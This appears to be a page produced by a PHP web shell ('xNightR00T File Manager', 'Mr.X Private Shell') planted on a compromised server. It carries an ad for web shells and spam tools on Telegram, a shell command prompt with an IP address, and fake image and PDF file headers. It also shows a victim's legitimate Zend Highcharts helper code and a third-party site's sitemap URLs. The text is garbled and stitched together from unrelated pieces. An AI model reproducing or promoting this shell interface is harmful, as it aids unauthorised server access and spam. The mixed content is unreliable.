xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
<?php

namespace Statistics\View\Helper;

use Zend\View\Helper\AbstractHelper,
    Application\Module,
    Statistics\Container,
    Statistics\Model;

class Highcharts extends AbstractHelper
{
    const ONE_MINUTE = 60 * 1000;
    const ONE_HOUR   = 60 * 1000 * 60;
    const ONE_DAY    = 60 * 1000 * 60 * 24;
    const ONE_WEEK   = 60 * 1000 * 60 * 24 * 7;

    /**
     * @param string $graphId
     * @param Statistics\Container $container
     * @return string
     */
    public function __invoke($graphId, $container, $title = null, $width = null, $onlyIncludes = false)
    {
        $basePath = $this->getView()->basePath();
        $this->view->plugin('headScript')->appendFile($basePath.'/js/highcharts/adapters/mootools-adapter.js');
        $this->view->plugin('headScript')->appendFile($basePath.'/js/highcharts/highcharts.js');
        $this->view->plugin('headScript')->appendFile($basePath.'/js/charts.js');
        $this->view->plugin('headLink')->appendStylesheet($basePath.'/css/zgrid.css');
        $this->view->plugin('headLink')->appendStylesheet($basePath.'/css/charts.css');
        if ($onlyIncludes) return '';

        $chartCode = $this->getChartCode($graphId, $container, $title);

        if (is_null($width)) {
            $width = '33%';
        }

        return <<<CHART
{$chartCode}
<div id="{$graphId}" class="main-apps-graph" style="width: {$width}; float: left;"></div>
CHART;
    }

    /**
     * Add empty fields to data
     * @param int $interval
     * @param float $from
     * @param float $to
     * @param array $data
     */
    public static function addEmptyFields(int $interval, float $from, float $to, array &$data)
    {
        if (count($data) > 0) {
            foreach ($data as $key => $value) {
                $currentTime = $from;
                while ($currentTime < $to) {
                    $data[$key][] = [$currentTime, 0];
                    $currentTime  += $interval;
                }
            }
        } else {
            $currentTime = $from;
            while ($currentTime < $to) {
                $data[]      = [$currentTime, 0];
                $currentTime += $interval;
            }
        }
    }

    /**
     * Get interval by hour diff
     * @param int $hourdiff
     * @return int
     */
    public function getIntervalByHourdiff(int $hourdiff) : int
    {
         switch ($hourdiff) {
            // 2 hours
            case 2:
                $interval = self::ONE_MINUTE; // one minute
                break;
            // Day
            case 24:
                $interval = self::ONE_MINUTE; // one minute

                break;
            // Week
            case 168:
                $interval = self::ONE_HOUR; // one houre
                break;

            // 2 Weeks
            case 336:
                $interval = self::ONE_HOUR; // one houre
                break;

            // Month
            case 744:
                $interval = self::ONE_DAY; // one day
                break;

            // 3 months
            case 2208:
                $interval = self::ONE_DAY; // one day
                break;

            // 6 months
            case 8760:
                $interval = self::ONE_DAY; // one day
                break;

            // all ( 5 years )
            default:
                $interval = self::ONE_WEEK; // one week
                break;
        }

        return $interval;
    }

    /**
     * Determine interval anf fill empty data for highcharts
     * @param int $hourdiff
     * @param float $from
     * @param float $to
     * @param array $data
     */
    public static function fillEmptyData(int $hourdiff, float $from, float $to, array &$data)
    {

        $interval = self::getIntervalByHourdiff($hourdiff);
        self::addEmptyFields($interval, $from, $to, $data);
    }

    /**
     * @param string $graphId
     * @param \Statistics\Container $container
     * @return string
     */
    private function getChartCode($graphId, $container, $title)
    {
        if (is_array($container)) {
            $chartType = current($container)->getChartType();
        } else {
            $chartType = $container->getChartType();
        }

        if ($chartType == \Statistics\Container::TYPE_LINE) {
            return $this->getLineChart($graphId, $container, $title);
        } elseif ($chartType == \Statistics\Container::TYPE_PIE) {
            return $this->getPieChart($graphId, $container, $title);
        } elseif ($chartType == \Statistics\Container::TYPE_LAYERED_LINE) {
            return $this->getLineChart($graphId, $container, $title);
        }
    }

    private function getPieChart($graphId, $container, $title)
    {
        if (is_array($container)) {
            $container = current($container);
        }

        $theTitle = $container->getTitle();
        $pollUrl  = "{$this->getView()->basePath()}/Api/statisticsGetSeries?type=";

        $colors         = '';
        $events         = '';
        $tooltipEnabled = 'false';
        if ($container->getCounterId() == Model::STATS_EVENTS_PIE) {
            $colors = 'colors: [\'#92c4d6\', \'#f23737\', \'#ffd617\'],';
            $events = <<<EVENTS
			click: function() {
				var filterId = 'Performance%20Issues';
                                var filters = 'filter_Event~Type=request-slow-exec%5Efunction-slow-exec';
				if (this.name == 'Errors') {
                                    filters = 'filter_Event~Type=function-error%5Ejq-job-exec-error%5Ezend-error%5Ejava-exception%5Ejq-job-logical-failure%5Ecustom';
					filterId = "Errors%20Issues";
				} else if (this.name == 'Resources') {
                                    filters = 'filter_Event~Type=request-large-mem-usage%5Erequest-relative-large-out-siz%5Ejq-job-exec-delay';
					filterId = "Resources%20Issues";
				}
					
				var applicationId = '';
				if (zendCharts.getCurrAppId() != 0) {
					applicationId = '&applicationIds=' + zendCharts.getCurrAppId();
				}
              
;                                window.location = "#!/monitoring/events?b=v&filterId=" + filterId  + "&filter_timeRange_predefined=" + timeRangeDictionary[$('time-range').get('value')] + applicationId + "&" + filters;
			}
EVENTS;
        } elseif ($container->getCounterId() == Model::STATS_BROWSERS_PIE ||
            $container->getCounterId() == Model::STATS_OS_PIE ||
            $container->getCounterId() == Model::STATS_MOBILE_OS_PIE) {
            $tooltipEnabled = 'true';
        }

        return <<<JAVASCRIPT
<script type="text/javascript">
var timeRangeDictionary = {'2h': 'Last%202H', '1d': 'Last%2024H', '7d': 'Last%20week', '14d': '2%20weeks', '1m': 'Last%20month', '3m': '3%20months', '6m': '6%20months', '12m': 'Last%20year', 'e': 'All'};

window.addEvent("domready", function() {

	$('{$graphId}').graph = 
	new Highcharts.Chart({
		dataUrl: '{$pollUrl}',
		counterId: {$container->getCounterId()},
		chart: {
			renderTo: '{$graphId}',
			plotBackgroundColor: null,
			plotBorderWidth: null,
			plotShadow: false
		},
		lang: {
			loading: ''
		},
		loading: {
						labelStyle: {}
				},
		credits: {
			enabled: false
		},
		title: {
			text: '{$theTitle}'
		},
		tooltip: {
			enabled: {$tooltipEnabled},
			formatter: function() {
				if (this.point.name == 'No Data') {
					return '<b>'+ this.point.name +'</b>';
				}
					return '<b>'+ this.point.name +'</b>: '+ this.point.y +' requests';
			},
						percentageDecimals: 1
		},
		{$colors}
		plotOptions: {
			pie: {
				allowPointSelect: true,
				cursor: 'pointer',
				borderWidth: 0,
				dataLabels: {
					distance: 10,
					enabled: true,
					color: '#000000',
					connectorColor: '#000000',
					formatter: function() {
						return '<b>'+ this.point.name +'</b>: '+ (this.percentage).toPrecision(3) +' %';
					}
				}
			},
			series: {
							cursor: 'pointer',
							point: {
									events: {
											{$events}
									}
							}
					}
		},
		exporting: {
			enabled: true
		},
		series: [{
			type: 'pie',
			data: []
		}]	    	
	});
});
</script>
JAVASCRIPT;
    }

    private function getLineChart($graphId, $container, $title)
    {
        $stacking = 'normal';

        $colors = 'colors: [\'#92c4d6\', \'#f23737\', \'#ffd617\', \'#ff65d5\', \'#51d75e\'],';
        if (is_array($container)) {
            $theTitle  = $title;
            $yTitle    = $container[0]->getYTitle();
            $valueType = $container[0]->getValueType();
            $legend    = 'true';
            $values    = array();
            foreach ($container as $cont) {
                $values[] = array('name' => $cont->getName(), 'data' => $cont->getData());
            }
            $values    = json_encode($values);
            $fillColor = '';
            $container = current($container);
            $series    = '{data: []}';
        } elseif ($container->getCounterId() == Model::TYPE_AVG_PROC_TIME || $container->getCounterId() == Model::TYPE_MOBILE_AVG_PROC_TIME) {
            $theTitle  = $container->getTitle();
            $yTitle    = $container->getYTitle();
            $legend    = 'true';
            $valueType = $container->getValueType();
            $values    = json_encode(array(array('name' => $container->getName(), 'data' => $container->getData())));
            $fillColor = '';
            $series    = '{name: "Output", data: []},{name: "Database", data: []},{name: "Network", data: []},{name: "Disk", data: []},{name: "PHP", data: []}';
        } elseif ($container->getCounterId() == Model::TYPE_TREND_MOBILE_USAGE_LAYERED) {
            $theTitle  = $container->getTitle();
            $yTitle    = $container->getYTitle();
            $legend    = 'true';
            $valueType = $container->getValueType();
            $values    = json_encode(array(array('name' => $container->getName(), 'data' => $container->getData())));
            $fillColor = '';
            $series    = '{name: "Desktop", data: []},{name: "Mobile", data: []}';
            $stacking  = 'percent';
        } else {
            $statisticsModel = new Model();
            $multipleData    = $statisticsModel->getMultipleChartData($container->getCounterId());

            if (!is_null($multipleData)) {
                $theTitle  = $container->getTitle();
                $yTitle    = $container->getYTitle();
                $legend    = 'true';
                $valueType = $container->getValueType();
                $values    = json_encode(array(array('name' => $container->getName(), 'data' => $container->getData())));
                $fillColor = '';

                $series = array();
                foreach ($multipleData['types'] as $multipleKey => $multipleRow) {
                    $series[] = json_encode(array('name' => $multipleKey, 'data' => array()));
                }

                $series = implode(',', $series);
            } else {
                $theTitle  = $container->getTitle();
                $yTitle    = $container->getYTitle();
                $legend    = 'false';
                $valueType = $container->getValueType();
                $values    = json_encode(array(array('name' => $container->getName(), 'data' => $container->getData())));
                $fillColor = $this->getGradientFillColor();
                $series    = '{data: []}';
            }
        }

        $max = ($valueType == '%') ? 'max: 100,' : '';
        $min = ($valueType == '%' || $valueType == 'ms') ? 'min: 0,' : '';

        $pollUrl = "{$this->getView()->basePath()}/Api/statisticsGetSeries?type=";

        $allowDecimal = '';
        if ($container->getYAxisType() == \Statistics\Container::YAXIS_INTEGER) {
            $allowDecimal = 'allowDecimals: false,';
        }

        return <<<JAVASCRIPT
<script type="text/javascript">
window.addEvent("domready", function() {

	$('{$graphId}').graph = 
	new Highcharts.Chart({
		dataUrl: '{$pollUrl}',
		counterId: {$container->getCounterId()},
		chart: {
			animation: true,
			zoomType: 'x',
			renderTo: '{$graphId}',
			defaultSeriesType: 'line',
			type: 'area',
			events:{              
				selection:function(params){
					if (typeof zendCharts === 'object') {
						if (params.resetSelection != undefined) {
							zendCharts.setInZoomMode(false);
						} else {
							zendCharts.setInZoomMode(true);
						}
					}
				}
			}
		},
		lang: {
			loading: ''
		},
		loading: {
						labelStyle: {}
				},
		credits: {
			enabled: false
		},
		title: {
			text: '{$theTitle}',
			style: {
				color: '#355968'
			}
		},
		xAxis: {
			type: 'datetime',
			dateTimeLabelFormats: {
							minute: '%H:%M',
							hour: '%H:%M',
							month: '%e. %b. %Y',
							year: '%b. %y'
					},
			events:{
			   
				afterSetExtremes:function(event) {
					if (typeof zendCharts === 'object') {
						// TODO: add check for no-data graphs since they change the zoom
						zendCharts.chartZoomChanges(this.chart.xAxis[0].min, this.chart.xAxis[0].max, event, this.chart.renderTo.id);
					}
				}
			}
		},
		yAxis: {
			 {$max}
			 {$min}
			 title: {
				text: ''
			},
			{$allowDecimal}
			labels: {
				formatter: function() {
					var val = this.value;
					switch ('{$valueType}') {
						case 'mb':
							val = formatFileSize(val * 1024 * 1024);
							break;
						case '%':
						case '%%':
							val = val + '%';
							break;
						case 'ms':
							val = formatMiliseconds(val);
							break;	
						default:
							val = formatSize(val);
							break;
					}
					return val;
				}
			}
		},
		legend: {
			enabled: {$legend},
			 align: 'right',
			 verticalAlign: 'top',
			 layout: 'vertical',
			 x: 0,
						y: 40,
						itemStyle: {
								paddingBottom: '10px'
						}
		},
		tooltip: {
			enabled: true,
			formatter: function() {
				var val = this.y;
				switch ('{$valueType}') {
					case 'mb':
						val = formatFileSize(val * 1024 * 1024);
						break;
					case '%':
						val = val + '%';
						break;
					case 'ms':
						val = formatMiliseconds(val);
						break;
					case '%%':
						val = this.percentage.toPrecision(3) + '%';
						break;
					default:
						val = formatSize(val);
						break;
				}
				
				// remove twice
				var currDate = removeServerTimezoneOffset(removeTimezoneOffset(new Date(this.x)));
				
				return val + ' | ' + formatDate(currDate, "%d.%m.%y %H:%M");
			}
		},
		{$colors}
		plotOptions: {
			series: {
							animation: false,
							 shadow: false,
							marker: {
									enabled: false
							}
					},
					area: {
						stacking: '{$stacking}',
						{$fillColor}
							lineColor: '#688625',
							states: {
									hover: {
											enabled: false
									}
							}
					}
		},
			exporting: {
			enabled: true
		},
			series: [{$series}]	
	}, function(chart) { 
				syncronizeCrossHairs(chart);
		});
});
</script>
JAVASCRIPT;
    }

    private function getGradientFillColor()
    {
        return "color: '#bdd980',";

        return <<<FILLCOLOR
fillColor: {
	linearGradient: [0, 0, 0, 300],
	stops: [
		[0, 'rgb(172, 198, 80)'],
			[1, 'rgba(234,242,204,0)']
	]
},
FILLCOLOR;
    }
}

Filemanager

Name Type Size Permission Actions
Highcharts.php File 14.7 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml